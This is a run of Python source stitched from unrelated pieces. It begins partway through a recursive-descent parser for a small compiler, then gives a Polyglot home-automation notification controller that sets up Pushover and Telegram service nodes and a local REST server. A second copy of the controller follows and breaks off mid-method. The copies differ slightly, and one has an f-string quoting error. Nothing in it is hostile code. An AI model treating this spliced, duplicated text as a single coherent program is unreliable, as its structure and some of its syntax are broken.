'LOST-', 'Lost }') else: self._err(self.ch.line, 'LOST-', 'Lost {') def _K(self): if self.ch.symbol == 'b': name = self.ch.value self.getNextch() if self.ch.symbol == '=': self.getNextch() t = self._N() value = t if isinstance(value, NewT): value = t.value if name in self.chart: self.chart[name] = value self.seq_list.append(Sequence(action='=', p1=t, result=name)) self.seq_num += 1 if t in self.function: self.seq_list.append(Sequence(action='j', result=self.function[t])) self.seq_num += 1 else: self._err(self.ch.line, 'GRAMMAR-', 'Undefined variable name used') print('1') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong operation expression') print('2') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong expression') def _L(self): if self.FIRST('K', self.ch.symbol): self._K() if self.ch.symbol == ';': self.getNextch() else: self._err(self.ch.line, 'LOST-', 'Lost ;') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong expression') def _j(self): if self.FIRST('N', self.ch.symbol): # 注意 j k为非终结符 r = self._N() t = self._R(r) # t 存储条件运算后的临时变量值 return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong Logic expression') def _k(self, t): # 注意 j k为非终结符 if self.ch.symbol == '6': self.getNextch() r = self._j() t1 = self.__VALUE('||', t, r) return t1 elif self.ch.symbol == '5': self.getNextch() r = self._j() # tmp = self._k(r) t1 = self.__VALUE('&&', t, r) return t1 elif self.FOLLOW('k', self.ch.symbol): return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong Logic expression') def _M(self): if self.FIRST('j', self.ch.symbol): # 注意 j k为非终结符 t = self._j() if self.FIRST('k', self.ch.symbol): res = self._k(t) return res return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong Logic expression') def _N(self): if self.FIRST('O', self.ch.symbol): p = self._O() t = self._T(p) return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong Logic expression') def _R(self, r): if self.ch.symbol == '>': self.getNextch() p = self._N() t = self.__VALUE('>', r, p) return t elif self.ch.symbol == '<': self.getNextch() p = self._N() t = self.__VALUE('<', r, p) return t elif self.ch.symbol == 'w': self.getNextch() p = self._N() t = self.__VALUE('>=', r, p) return t elif self.ch.symbol == 'x': self.getNextch() p = self._N() t = self.__VALUE('<=', r, p) return t elif self.ch.symbol == 'z': self.getNextch() p = self._N() t = self.__VALUE('==', r, p) # print("####3333333") # print(r) # print(p) # print(t) return t elif self.ch.symbol == 'y': self.getNextch() p = self._N() t = self.__VALUE('!=', r, p) return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong operation expression') print('3') def _T(self, p): if self.ch.symbol == '+': self.getNextch() r = self._O() t0 = self.__VALUE('+', p, r) # t0 = p + r # print ('加法操作' + str(p) + '+' + str(r) + '=' + str(t0)) # self.seq_list.append(Sequence(action='+',p1=p,p2=r,result=t0)) # self.seq_num += 1 t = self._T(t0) return t elif self.ch.symbol == '-': self.getNextch() r = self._O() t0 = self.__VALUE('-', p, r) # t0 = p - r # print ('减法操作' + str(p) + '-' + str(r) + '=' + str(t0)) # self.seq_list.append(Sequence(action='-',p1=p,p2=r,result=t0)) # self.seq_num += 1 t = self._T(t0) return t elif self.FOLLOW('T', self.ch.symbol): t = p return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong operation expression') print('4') def _O(self): if self.FIRST('P', self.ch.symbol): p = self._P() t = self._U(p) return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong operation expression') print('5') def _U(self, p): if self.ch.symbol == '*': self.getNextch() r = self._P() t0 = self.__VALUE('*', p, r) # t0 = p * r # print ('乘法操作' + str(p) + '*' + str(r) + '=' + str(t0)) # self.seq_list.append(Sequence(action='*',p1=p,p2=r,result=t0)) # self.seq_num += 1 t = self._U(t0) return t elif self.ch.symbol == '/': self.getNextch() r = self._P() t0 = self.__VALUE('/', p, r) # t0 = p//r # print ('除法操作' + str(p) + '/' + str(r) + '=' + str(t0)) # self.seq_list.append(Sequence(action='/',p1=p,p2=r,result=t0)) # self.seq_num += 1 t = self._U(t0) return t elif self.FOLLOW('U', self.ch.symbol): t = p return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong operation expression') print('6') def _P(self): if self.ch.symbol == '(': self.getNextch() t = self._N() p = t if self.ch.symbol == ')': self.getNextch() return p else: self._err(self.ch.line, 'LOST-', 'Lost )') elif self.ch.symbol == 'a': p = int(self.ch.value) self.getNextch() return p elif self.ch.symbol == 'b': p = self.ch.value self.getNextch() p = self._8(p) return p else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong expression') def _8(self, p): if self.ch.symbol == '(': self.getNextch() self._V() if self.ch.symbol == ')': self.getNextch() self.seq_list.append(Sequence(action='j', result=self.function[p])) self.function[p + "_main"].value = self.seq_num + 2 return self.val else: self._err(self.ch.line, 'LOST-', 'Lost )') else: return p
""" Notification Controller Node """ from udi_interface import Node,LOGGER,Custom,LOG_HANDLER from nodes import * import logging from node_funcs import * from PolyglotREST import polyglotRESTServer,polyglotSession from copy import deepcopy import re import time import fnmatch import os class Controller(Node): """ """ def __init__(self, poly, primary, address, name): """ """ super(Controller, self).__init__(poly, primary, address, name) self.hb = 0 self.messages = None self.rest = None self._sys_short_msg = None # List of all service nodes self.service_nodes = list() self.first_run = True self.ready = False self.n_queue = [] # We track our driver values because we need the value before it's been pushed. # Is this necessary anymore in PG3? self.driver = {} self.Notices = Custom(poly, 'notices') self.Params = Custom(poly, 'customparams') self.Data = Custom(poly, 'customdata') self.TypedParams = Custom(poly, 'customtypedparams') self.TypedData = Custom(poly, 'customtypeddata') poly.subscribe(poly.START, self.handler_start, address) poly.subscribe(poly.POLL, self.handler_poll) poly.subscribe(poly.ADDNODEDONE, self.node_queue) poly.subscribe(poly.CONFIGDONE, self.handler_config_done) poly.subscribe(poly.CUSTOMPARAMS, self.handler_params) poly.subscribe(poly.CUSTOMDATA, self.handler_data) poly.subscribe(poly.CUSTOMTYPEDDATA, self.handler_typed_data) poly.subscribe(poly.LOGLEVEL, self.handler_log_level) poly.subscribe(poly.STOP, self.handler_stop) self.handler_start_st = None self.handler_data_st = None self.handler_typed_data_st = None self.handler_config_st = None self.init_typed() poly.ready() self.Notices.clear() poly.addNode(self, conn_status="ST") ''' node_queue() and wait_for_node_event() create a simple way to wait for a node to be created. The nodeAdd() API call is asynchronous and will return before the node is fully created. Using this, we can wait until it is fully created before we try to use it. ''' def node_queue(self, data): self.n_queue.append(data['address']) def wait_for_node_done(self): while len(self.n_queue) == 0: time.sleep(0.1) self.n_queue.pop() """ Everyone should call this instead of poly.addNode so they are added one at a time. """ def add_node(self,node): anode = self.poly.addNode(node) LOGGER.debug(f'got {anode}') self.wait_for_node_done() if anode is None: LOGGER.error('Failed to add node address') return anode def handler_start(self): LOGGER.info(f"Started Notification NodeServer {self.poly.serverdata["version"]}") self.poly.updateProfile() self.heartbeat() self.handler_start_st = True def handler_config_done(self): LOGGER.debug("enter") # This is supposed to only run after we have received and # processed all config data, just add a check here. cnt = 60 while ((self.handler_start_st is None or self.handler_params_st is None or self.handler_data_st is None or self.handler_typed_data_st is None) and cnt > 0 ): LOGGER.warning(f'Waiting for all handlers to complete start={self.handler_start_st} params={self.handler_params_st} data={self.handler_data_st} typed_data={self.handler_typed_data_st} cnt={cnt}') time.sleep(1) cnt -= 1 if cnt == 0: LOGGER.error('Timed out waiting for all handlers to complete') self.poly.stop() return self.setDriver('GV1',0) if self.handler_params_st: self.rest = polyglotRESTServer('8199',LOGGER,ghandler=self.rest_ghandler) # TODO: Need to monitor thread and restart if it dies self.rest.start() self.setDriver('GV1',1) else: LOGGER.error(f'Unable to start REST Server until config params are correctd ({self.handler_params_st})') # # Always rebuild profile on startup? # LOGGER.debug(f'first_run={self.first_run}') if self.first_run: self.write_profile() self.first_run = False self.handler_config_st = True LOGGER.debug("exit") def handler_poll(self, polltype): if polltype == 'longPoll': self.heartbeat() def heartbeat(self): LOGGER.debug('hb={}'.format(self.hb)) if self.hb == 0: self.reportCmd("DON",2) self.hb = 1 else: self.reportCmd("DOF",2) self.hb = 0 def query(self): #self.check_params() for node in self.poly.nodes(): node.reportDrivers() def delete(self): if self.rest is not None: self.rest.stop() LOGGER.info('Oh God I\'m being deleted. Nooooooooooooooooooooooooooooooooooooooooo.') def handler_stop(self): LOGGER.debug('NodeServer stopping.') if self.rest is not None: self.rest.stop() LOGGER.debug('NodeServer stopped.') self.poly.stop() def setDriver(self,driver,value): self.driver[driver] = value super(Controller, self).setDriver(driver,value) def getDriver(self,driver): if driver in self.driver: return self.driver[driver] else: return super(Controller, self).getDriver(driver) def get_service_node(self,sname): for item in self.service_nodes: if item['name'] == sname or item['node'].address == sname or item['node'].name == sname: return item l = list() for item in self.service_nodes: l.extend([item['name'],item['node'].address,item['node'].name]) LOGGER.error(f"Unknown service node {sname} must be one of: " + ", ".join(l)) return False def get_current_message(self): return(self.get_message_by_id(self.getDriver('GV2'))) def get_message_by_id(self,id): LOGGER.info(f'id={id}') if id is None: id = 0 else: id = int(id) for msg in self.messages: if int(msg['id']) == id: return msg LOGGER.error('id={} not found in: {}'.format(id,self.messages)) return { id: 0, 'title': 'Unknown', 'message': 'Undefined message {}'.format(id)} def get_typed_name(self,name): typedConfig = self.polyConfig.get('typedCustomData') if not typedConfig: return None return typedConfig.get(name) def get_message_node_address(self,id): return get_valid_node_address('mn_'+id) def get_service_node_address(self,id): return get_valid_node_address('po_'+id) def get_service_node_address_telegramub(self,id): return get_valid_node_address('tu_'+id) def init_typed(self): self.TypedParams.load( [ { 'name': 'messages', 'title': 'Messages', 'desc': 'Your Custom Messages', 'isList': True, 'params': [ { 'name': 'id', 'title': "ID (Must be integer greater than zero and should never change!)", 'isRequired': True, }, { 'name': 'title', 'title': 'Title (Should be short)', 'isRequired': True }, { 'name': 'message', 'title': 'Message (If empty, assume same as title)', 'isRequired': False }, ] }, { 'name': 'pushover', 'title': 'Pushover Service Nodes', 'desc': 'Config for https://pushover.net/', 'isList': True, 'params': [ { 'name': 'name', 'title': 'Name for reference, used as node name. Must be 8 characters or less.', 'isRequired': True }, { 'name': 'user_key', 'title': 'The User Key', 'isRequired': True }, { 'name': 'app_key', 'title': 'Application Key', 'isRequired': True, 'isList': False, #s'defaultValue': ['somename'], }, ] }, { 'name': 'notify', 'title': 'Notify Nodes', 'desc': 'Notify Nodes to create', 'isList': True, 'params': [ { 'name': 'id', 'title': "ID for node, never change, 8 characters or less", 'isRequired': True }, { 'name': 'name', 'title': 'Name for node', 'isRequired': True }, { 'name': 'service_node_name', 'title': "Service Node Name Must match an existing Service Node Name", 'isRequired': True }, ] }, { 'name': 'assistant_relay', 'title': 'Assistant Relay Service Node', 'desc': 'Config for https://github.com/greghesp/assistant-relay', 'isList': True, 'params': [ { 'name': 'host', 'title': 'Host', 'defaultValue': 'this_host_ip', 'isRequired': True }, { 'name': 'port', 'title': 'Port', 'isRequired': True, 'isList': False, 'defaultValue': '3001', }, { 'name': 'users', 'title': 'Users', 'isRequired': True, 'isList': True, 'defaultValue': ['someuser'], }, ] }, { 'name': 'telegramub', 'title': 'Telegram User Bot Service Node', 'desc': 'Config for https://github.com/greghesp/assistant-relay', 'isList': True, 'params': [ { 'name': 'name', 'title': 'Name for reference, used as node name. Must be 8 characters or less.', 'isRequired': True }, { 'name': 'http_api_key', 'title': 'HTTP API Key', 'defaultValue': 'your_http_api_key', 'isRequired': True }, { 'name': 'users', 'title': 'Users', 'isRequired': True, 'isList': True, 'defaultValue': ['someuserid'], }, ] } ], True ) def handler_data(self,data): LOGGER.debug(f'Enter data={data}') if data is None: self.handler_data_st = False else: self.Data.load(data) self.handler_data_st = True def handler_params(self, data): LOGGER.debug("Enter data={}".format(data)) self.Params.load(data) # Assume we are good unless something bad is found st = True # Make sure they acknowledge ack = 'acknowledge' val = None if ack in data: val = data[ack] else: val = "" self.Params[ack] = val # Return because we will be called again since we added the param that was deleted. st = False if val != 'I understand and agree': self.Notices[ack] = 'Before using you must follow the link to <a href="https://github.com/UniversalDevicesInc-PG3/udi-poly-notification/blob/master/ACKNOWLEDGE.md" target="_blank">acknowledge</a>' st = False else: self.Notices.delete(ack) self.handler_params_st = st def handler_typed_data(self, data): LOGGER.debug("Enter data={}".format(data)) self.TypedData.load(data) if data is None: self.handler_typed_data_st = False return False # If we have already been run on startup, clear any notices. if self.handler_config_st is not None: self.Notices.clear() el = list() self.messages = data.get('messages',el) LOGGER.info('messages={}'.format(self.messages)) if len(self.messages) == 0: LOGGER.info('No messages') # # List of all service node names snames = dict() # List of errors to print at the end in a Notice err_list = list() # # Check the pushover configs are all good # pushover = data.get('pushover',el) # Pushover node names pnames = dict() LOGGER.info('pushover={}'.format(pushover)) if len(pushover) == 0: LOGGER.warning("No Pushover Entries in the config: {}".format(pushover)) pushover = None else: for pd in pushover: sname = pd['name'] # Save info for later pd['type'] = 'pushover' snames[sname] = pd # Check for duplicates address = self.get_service_node_address(sname) if not address in pnames: pnames[address] = list() pnames[address].append(sname) for address in pnames: if len(pnames[address]) > 1: err_list.append("Duplicate pushover names for {} items {} from {}".format(len(pnames[address]),address,",".join(pnames[address]))) # # Check the telegramub configs are all good # telegramub = data.get('telegramub',el) # Pushover node names tnames = dict() LOGGER.info('telegramub={}'.format(telegramub)) if len(telegramub) == 0: LOGGER.warning("No Telegram User Bot Entries in the config: {}".format(telegramub)) telegramub = None else: for pd in telegramub: if 'name' in pd: sname = pd['name'] else: sname = 'telegramub' # Save info for later pd['type'] = 'telegramub' snames[sname] = pd # Check for duplicates... address = self.get_service_node_address_telegramub(sname) if not address in tnames: tnames[address] = list() tnames[address].append(sname) for address in tnames: if len(tnames[address]) > 1: err_list.append("Duplicate names for {} items {} from {}".format(len(tnames[address]),address,",".join(tnames[address]))) # # Check the message notify_nodes are all good # notify_nodes = data.get('notify',el) if len(notify_nodes) == 0: LOGGER.warning('No Notify Nodes') else: # First check that notify_nodes are valid before we try to add them mnames = dict() for node in notify_nodes: address = self.get_message_node_address(node['id']) if not address in mnames: mnames[address] = list() mnames[address].append(node['id']) # And check that service node name is known sname = node['service_node_name'] if not sname in snames: err_list.append("Unknown service node name {} in message node {} must be one of {}".format(sname,node['id'],",".join(snames))) for address in mnames: if len(mnames[address]) > 1: err_list.append("Duplicate Notify ids for {} items {} from {}".format(len(mnames[address]),address,",".join(mnames[address]))) # # Any errors, print them and stop # if len(err_list) > 0: cnt = 1 for msg in err_list: LOGGER.error(msg) self.Notices[f'msg{cnt}'] = msg cnt += 1 self.Notices['typed_data'] = f'There are {len(err_list)} errors found please fix Errors and restart.' self.handler_typed_data_st = False return if pushover is not None: self.pushover_session = polyglotSession(self,"https://api.pushover.net",LOGGER) for pd in pushover: snode = self.add_node(Pushover(self, self.address, self.get_service_node_address(pd['name']), get_valid_node_name('Service Pushover '+pd['name']), self.pushover_session, pd)) self.service_nodes.append({ 'name': pd['name'], 'node': snode, 'index': len(self.service_nodes)}) LOGGER.info('service_nodes={}'.format(self.service_nodes)) if telegramub is not None: self.telegramub_session = polyglotSession(self,"https://api.telegram.org",LOGGER) for pd in telegramub: snode = self.add_node(TelegramUB(self, self.address, self.get_service_node_address_telegramub(pd['name']), get_valid_node_name('Service TelegramUB '+pd['name']), self.telegramub_session, pd)) self.service_nodes.append({ 'name': pd['name'], 'node': snode, 'index': len(self.service_nodes)}) LOGGER.info('service_nodes={}'.format(self.service_nodes)) # TODO: Save service_nodes names in customParams if notify_nodes is not None: save = True LOGGER.debug('Adding Notify notify_nodes...') for node in notify_nodes: # TODO: make sure node.service_node_name is valid, and pass service node type (pushover) to addNode, or put in node dict node['service_type'] = snames[node['service_node_name']]['type'] self.add_node(Notify(self, self.address, self.get_message_node_address(node['id']), 'Notify '+get_valid_node_name(node['name']), node)) # When data changes build the profile, except when first starting up since # that will be done by the config handler if not self.first_run: self.write_profile() self.handler_typed_data_st = True def write_profile(self): pfx = 'write_profile' LOGGER.info('enter') # Good unless there is an error. st = True # # First clean out all files we created # for dir in ['profile/editor', 'profile/nodedef']: LOGGER.debug('Cleaning: {}'.format(dir)) for file in os.listdir(dir): LOGGER.debug(file) path = dir+'/'+file if os.path.isfile(path) and file != 'editors.xml' and file != 'nodedefs.xml': LOGGER.debug('Removing: {}'.format(path)) os.remove(path) # Write the profile Data # # There is only one nls, so read the nls template and write the new one # en_us_txt = "profile/nls/en_us.txt" make_file_dir(en_us_txt) template_f = "template/nls/en_us.txt" LOGGER.debug("Reading {}".format(template_f)) nls_tmpl = open(template_f, "r") LOGGER.debug("Writing {}".format(en_us_txt)) nls = open(en_us_txt, "w") nls.write("# From: {}\n".format(template_f)) for line in nls_tmpl: nls.write(line) nls_tmpl.close() # Get all the indexes and write the nls. nls.write("# End: {}\n\n".format(template_f)) msg_cnt = 0 nls.write("# Start: Internal Messages:\n") for message in get_messages(): nls.write("NMESSAGE-{} = {}\n".format(msg_cnt,message)) msg_cnt += 1 nls.write("# End: Internal Messages:\n\n") nls.write("# Start: Custom Messages:\n") ids = list() if self.messages is None: self.messages = list() self.messages.append({'id':0, 'title':"Default"}) LOGGER.warning("No User Messages, define some in Configuration if desired") else: for message in self.messages: try: id = int(message['id']) except: LOGGER.error("message id={} is not an int".format(message['id'])) st = False continue LOGGER.debug(f'MESSAGE:id={id}') ids.append(id) if 'message' not in message or message['message'] == '': message['message'] = message['title'] LOGGER.debug('message={}'.format(message)) nls.write("MID-{} = {}\n".format(message['id'],message['title'])) # nls.write("# End: Custom Messages:\n\n") nls.write("# Start: Service Nodes\n") svc_cnt = 0 nls.write("NFYN--1 = Unknown\n") if self.service_nodes is not None: for pd in self.service_nodes: nls.write("NFYN-{} = {}\n".format(pd['index'],pd['name'])) svc_cnt += 1 nls.write("# End: Service Nodes\n\n") config_info_nr = [ '<h3>Create ISY Network Resources</h3>', '<p>For messages that contain a larger body use ISY Network Resources. More information available at <a href="https://github.com/jimboca/udi-poly-notification/blob/master/README.md#rest-interface" target="_ blank">README - REST Interfae</a>' '<ul>' ] config_info_rest = [ '<h3>Sending REST Commands</h3>', '<p>Pass /send with node=the_node' '<p>By default it is sent based on the current selected params of that node for device and priority.' '<ul>' ] # Call the write profile on all the nodes. nls.write("# Start: Custom Service Nodes:\n") # This is a list of all possible devices we can select, they are provided by the service nodes self.devices = list() for node in self.poly.nodes(): if node.name != self.name: # We have to wait until the node is done initializing since # we can get here before the node is ready. cnt = 60 while node.init_st() is None and cnt > 0: LOGGER.warning(f'Waiting for {node.name} to initialize, timeout in {cnt} seconds...') time.sleep(1) cnt -= 1 if node.init_st(): if cnt < 60: LOGGER.warning(f'{node.name} is initialized...') LOGGER.info('node={} id={}'.format(node.name,node.id)) node.write_profile(nls) config_info_nr.append(node.config_info_nr()) config_info_rest.append(node.config_info_rest()) else: LOGGER.error( 'Node {} failed to initialize init_st={}'.format(node.name, node.init_st())) st = False nls.write("# Start: End Service Nodes:\n") LOGGER.debug("Closing {}".format(en_us_txt)) nls.close() config_info_rest.append('</ul>') self.config_info = config_info_nr + config_info_rest s = "\n" # # SEt the Custom Config Doc # self.poly.setCustomParamsDoc(s.join(self.config_info)) # # editor/custom.xml # # The subset string for message id's full_subset_str = ",".join(map(str,ids)) LOGGER.debug(f"MESSAGE:full_subset_str={full_subset_str}") subset_str = get_subset_str(ids) LOGGER.debug(f"MESSAGE:subset_str={subset_str}") # Open the output editors fileme editor_f = "profile/editor/custom.xml" make_file_dir(editor_f) # Open the template, and read into a string for formatting. template_f = 'template/editor/custom.xml' LOGGER.debug("Reading {}".format(template_f)) with open (template_f, "r") as myfile: data=myfile.read() myfile.close() # Write the editors file with our info LOGGER.debug("Writing {}".format(editor_f)) editor_h = open(editor_f, "w") editor_h.write(data.format(full_subset_str,subset_str,(msg_cnt-1),(svc_cnt-1))) editor_h.close() # # Send it to the ISY # if st: self.poly.updateProfile() return st def handler_log_level(self,level): LOGGER.info(f'enter: level={level}') if level['level'] < 10: LOGGER.info("Setting basic config to DEBUG...") LOG_HANDLER.set_basic_config(True,logging.DEBUG) slevel = logging.DEBUG else: LOGGER.info("Setting basic config to WARNING...") LOG_HANDLER.set_basic_config(True,logging.WARNING) slevel = logging.WARNING #logging.getLogger('requests').setLevel(slevel) #logging.getLogger('urllib3').setLevel(slevel) LOGGER.info(f'exit: slevel={slevel}') def set_message(self,val): self.setDriver('GV2', val) def set_sys_short(self,val): #self.setDriver('GV3', val) self._sys_short_msg = val def get_sys_short(self): return self._sys_short_msg if self._sys_short_msg is not None else "NOT_DEFINED" def cmd_build_profile(self,command): LOGGER.info('cmd_build_profile:') st = self.write_profile() if st: self.poly.updateProfile() return st def cmd_install_profile(self,command): LOGGER.info('cmd_install_profile:') st = self.poly.updateProfile() return st def cmd_set_message(self,command): val = int(command.get('value')) LOGGER.info(val) self.set_message(val) def cmd_set_sys_short(self,command): LOGGER.debug(f'command={command}') self.set_sys_short(command.get('value')) def rest_ghandler(self,command,params,data=None): if not self.handler_params_st: LOGGER.error("Disabled until acknowledge instructions are completed.") mn = 'rest_ghandler' LOGGER.debug('command={} params={} data={}'.format(command,params,data)) # Receive error? if command == "receive_error": LOGGER.error(params % data) self.setDriver("GV1",3) return True self.setDriver("GV1",1) # data has body then we only have text data, so make that the message if not data is None and 'body' in data: data = {'message': data['body']} # # Params override body data # for key, value in params.items(): data[key] = value LOGGER.debug('data={}'.format(data)) if command == '/send': if not 'node' in data: LOGGER.error( 'node not passed in for send params: {}'.format(data)) return False fnode = self.get_service_node(data['node']) if fnode is False: LOGGER.error( 'unknown service node "{}"'.format(data['node'])) return False subject = None if 'subject' in data: data['title'] = data['subject'] return fnode['node'].rest_send(data) LOGGER.error('Unknown command "{}"'.format(command)) return False id = 'controller' commands = { 'SET_MESSAGE': cmd_set_message, 'SET_SYS_SHORT': cmd_set_sys_short, #'SET_SHORTPOLL': cmd_set_short_poll, #'SET_LONGPOLL': cmd_set_long_poll, 'QUERY': query, 'BUILD_PROFILE': cmd_build_profile, 'INSTALL_PROFILE': cmd_install_profile, } drivers = [ {'driver': 'ST', 'value': 1, 'uom': 25}, # Nodeserver status {'driver': 'GV1', 'value': 0, 'uom': 25}, # REST Status {'driver': 'GV2', 'value': 0, 'uom': 25}, # Message {'driver': 'GV3', 'value': 0, 'uom': 146}, # Custom Content ]
""" Notification Controller Node """ from udi_interface import Node,LOGGER,Custom,LOG_HANDLER from nodes import * import logging from node_funcs import * from PolyglotREST import polyglotRESTServer,polyglotSession from copy import deepcopy import re import time import fnmatch import os class Controller(Node): """ """ def __init__(self, poly, primary, address, name): """ """ super(Controller, self).__init__(poly, primary, address, name) self.hb = 0 self.messages = None self.rest = None self._sys_short_msg = None # List of all service nodes self.service_nodes = list() self.first_run = True self.ready = False self.n_queue = [] # We track our driver values because we need the value before it's been pushed. # Is this necessary anymore in PG3? self.driver = {} self.Notices = Custom(poly, 'notices') self.Params = Custom(poly, 'customparams') self.Data = Custom(poly, 'customdata') self.TypedParams = Custom(poly, 'customtypedparams') self.TypedData = Custom(poly, 'customtypeddata') poly.subscribe(poly.START, self.handler_start, address) poly.subscribe(poly.POLL, self.handler_poll) poly.subscribe(poly.ADDNODEDONE, self.node_queue) poly.subscribe(poly.CONFIGDONE, self.handler_config_done) poly.subscribe(poly.CUSTOMPARAMS, self.handler_params) poly.subscribe(poly.CUSTOMDATA, self.handler_data) poly.subscribe(poly.CUSTOMTYPEDDATA, self.handler_typed_data) poly.subscribe(poly.LOGLEVEL, self.handler_log_level) poly.subscribe(poly.STOP, self.handler_stop) self.handler_start_st = None self.handler_data_st = None self.handler_typed_data_st = None self.handler_config_st = None self.init_typed() poly.ready() self.Notices.clear() poly.addNode(self, conn_status="ST") ''' node_queue() and wait_for_node_event() create a simple way to wait for a node to be created. The nodeAdd() API call is asynchronous and will return before the node is fully created. Using this, we can wait until it is fully created before we try to use it. ''' def node_queue(self, data): self.n_queue.append(data['address']) def wait_for_node_done(self): while len(self.n_queue) == 0: time.sleep(0.1) self.n_queue.pop() """ Everyone should call this instead of poly.addNode so they are added one at a time. """ def add_node(self,node): anode = self.poly.addNode(node) LOGGER.debug(f'got {anode}') self.wait_for_node_done() if anode is None: LOGGER.error('Failed to add node address') return anode def handler_start(self): LOGGER.info(f"Started Notification NodeServer {self.poly.serverdata['version']}") self.poly.updateProfile() self.heartbeat() self.handler_start_st = True def handler_config_done(self): LOGGER.debug("enter") # This is supposed to only run after we have received and # processed all config data, just add a check here. cnt = 60 while ((self.handler_start_st is None or self.handler_params_st is None or self.handler_data_st is None or self.handler_typed_data_st is None) and cnt > 0 ): LOGGER.warning(f'Waiting for all handlers to complete start={self.handler_start_st} params={self.handler_params_st} data={self.handler_data_st} typed_data={self.handler_typed_data_st} cnt={cnt}') time.sleep(1) cnt -= 1 if cnt == 0: LOGGER.error('Timed out waiting for all handlers to complete') self.poly.stop() return self.setDriver('GV1',0) if self.handler_params_st: self.rest = polyglotRESTServer('8199',LOGGER,ghandler=self.rest_ghandler) # TODO: Need to monitor thread and restart if it dies self.rest.start() self.setDriver('GV1',1) else: LOGGER.error(f'Unable to start REST Server until config params are correctd ({self.handler_params_st})') # # Always rebuild profile on startup? # LOGGER.debug(f'first_run={self.first_run}') if self.first_run: self.write_profile() self.first_run = False self.handler_config_st = True LOGGER.debug("exit") def handler_poll(self, polltype): if polltype == 'longPoll': self.heartbeat() def heartbeat(self): LOGGER.debug('hb={}'.format(self.hb)) if self.hb == 0: self.reportCmd("DON",2) self.hb = 1 else: self.reportCmd("DOF",2) self.hb = 0 def query(self): #self.check_params() for node in self.poly.nodes(): node.reportDrivers() def delete(self): if self.rest is not None: self.rest.stop() LOGGER.info('Oh God I\'m being deleted. Nooooooooooooooooooooooooooooooooooooooooo.') def handler_stop(self): LOGGER.debug('NodeServer stopping.') if self.rest is not None: self.rest.stop() LOGGER.debug('NodeServer stopped.') self.poly.stop() def setDriver(self,driver,value): self.driver[driver] = value super(Controller, self).setDriver(driver,value) def getDriver(self,driver): if driver in self.driver: return self.driver[driver] else: return super(Controller, self).getDriver(driver) def get_service_node(self,sname): for item in self.service_nodes: if item['name'] == sname or item['node'].address == sname or item['node'].name == sname: return item l = list() for item in self.service_nodes: l.extend([item['name'],item['node'].address,item['node'].name]) LOGGER.error(f"Unknown service node {sname} must be one of: " + ", ".join(l)) return False def get_current_message(self): return(self.get_message_by_id(self.getDriver('GV2'))) def get_message_by_id(self,id): LOGGER.info(f'id={id}') if id is None: id = 0 else: id = int(id) for msg in self.messages: if int(msg['id']) == id: return msg LOGGER.error('id={} not found in: {}'.format(id,self.messages)) return { id: 0, 'title': 'Unknown', 'message': 'Undefined message {}'.format(id)} def get_typed_name(self,name): typedConfig = self.polyConfig.get('typedCustomData') if not typedConfig: return None return typedConfig.get(name) def get_message_node_address(self,id): return get_valid_node_address('mn_'+id) def get_service_node_address(self,id): return get_valid_node_address('po_'+id) def get_service_node_address_telegramub(self,id): return get_valid_node_address('tu_'+id) def init_typed(self): self.TypedParams.load( [ { 'name': 'messages', 'title': 'Messages', 'desc': 'Your Custom Messages', 'isList': True, 'params': [ { 'name': 'id', 'title': "ID (Must be integer greater than zero and should never change!)", 'isRequired': True, }, { 'name': 'title', 'title': 'Title (Should be short)', 'isRequired': True }, { 'name': 'message', 'title': 'Message (If empty, assume same as title)', 'isRequired': False }, ] }, { 'name': 'pushover', 'title': 'Pushover Service Nodes', 'desc': 'Config for https://pushover.net/', 'isList': True, 'params': [ { 'name': 'name', 'title': 'Name for reference, used as node name. Must be 8 characters or less.', 'isRequired': True }, { 'name': 'user_key', 'title': 'The User Key', 'isRequired': True }, { 'name': 'app_key', 'title': 'Application Key', 'isRequired': True, 'isList': False, #s'defaultValue': ['somename'], }, ] }, { 'name': 'notify', 'title': 'Notify Nodes', 'desc': 'Notify Nodes to create', 'isList': True, 'params': [ { 'name': 'id', 'title': "ID for node, never change, 8 characters or less", 'isRequired': True }, { 'name': 'name', 'title': 'Name for node', 'isRequired': True }, { 'name': 'service_node_name', 'title': "Service Node Name Must match an existing Service Node Name", 'isRequired': True }, ] }, { 'name': 'assistant_relay', 'title': 'Assistant Relay Service Node', 'desc': 'Config for https://github.com/greghesp/assistant-relay', 'isList': True, 'params': [ { 'name': 'host', 'title': 'Host', 'defaultValue': 'this_host_ip', 'isRequired': True }, { 'name': 'port', 'title': 'Port', 'isRequired': True, 'isList': False, 'defaultValue': '3001', }, { 'name': 'users', 'title': 'Users', 'isRequired': True, 'isList': True, 'defaultValue': ['someuser'], }, ] }, { 'name': 'telegramub', 'title': 'Telegram User Bot Service Node', 'desc': 'Config for https://github.com/greghesp/assistant-relay', 'isList': True, 'params': [ { 'name': 'name', 'title': 'Name for reference, used as node name. Must be 8 characters or less.', 'isRequired': True }, { 'name': 'http_api_key', 'title': 'HTTP API Key', 'defaultValue': 'your_http_api_key', 'isRequired': True }, { 'name': 'users', 'title': 'Users', 'isRequired': True, 'isList': True, 'defaultValue': ['someuserid'], }, ] } ], True ) def handler_data(self,data): LOGGER.debug(f'Enter data={data}') if data is None: self.handler_data_st = False else: self.Data.load(data) self.handler_data_st = True def handler_params(self, data): LOGGER.debug("Enter data={}".format(data)) self.Params.load(data) # Assume we are good unless something bad is found st = True # Make sure they acknowledge ack = 'acknowledge' val = None if ack in data: val = data[ack] else: val = "" self.Params[ack] = val # Return because we will be called again since we added the param that was deleted. st = False if val != 'I understand and agree': self.Notices[ack] = 'Before using you must follow the link to <a href="https://github.com/UniversalDevicesInc-PG3/udi-poly-notification/blob/master/ACKNOWLEDGE.md" target="_blank">acknowledge</a>' st = False else: self.Notices.delete(ack) self.handler_params_st = st def handler_typed_data(self, data): LOGGER.debug("Enter data={}".format(data)) self.TypedData.load(data) if data is None: self.handler_typed_data_st = False return False # If we have already been run on startup, clear any notices. if self.handler_config_st is not None: self.Notices.clear() el = 